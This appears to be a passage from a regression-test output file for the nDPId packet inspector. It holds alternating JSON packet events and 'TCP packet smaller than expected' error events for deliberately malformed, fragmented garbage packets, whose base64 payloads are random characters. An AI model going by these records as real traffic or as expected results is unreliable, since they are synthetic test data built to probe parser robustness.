-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346837} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346844} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346852} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346860} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346868} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346875} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346886} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346896} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346903} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346913} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346920} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346928} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346936} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346943} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346953} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346968} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346978} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346985} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346993} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346999} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347010} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347020} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347028} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347036} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347043} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347051} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347062} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347072} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347080} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347087} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347094} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347104} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347111} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347118} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347125} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347133} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347143} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347150} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":3882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347158} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347165} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347172} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347211} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347223} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347231} 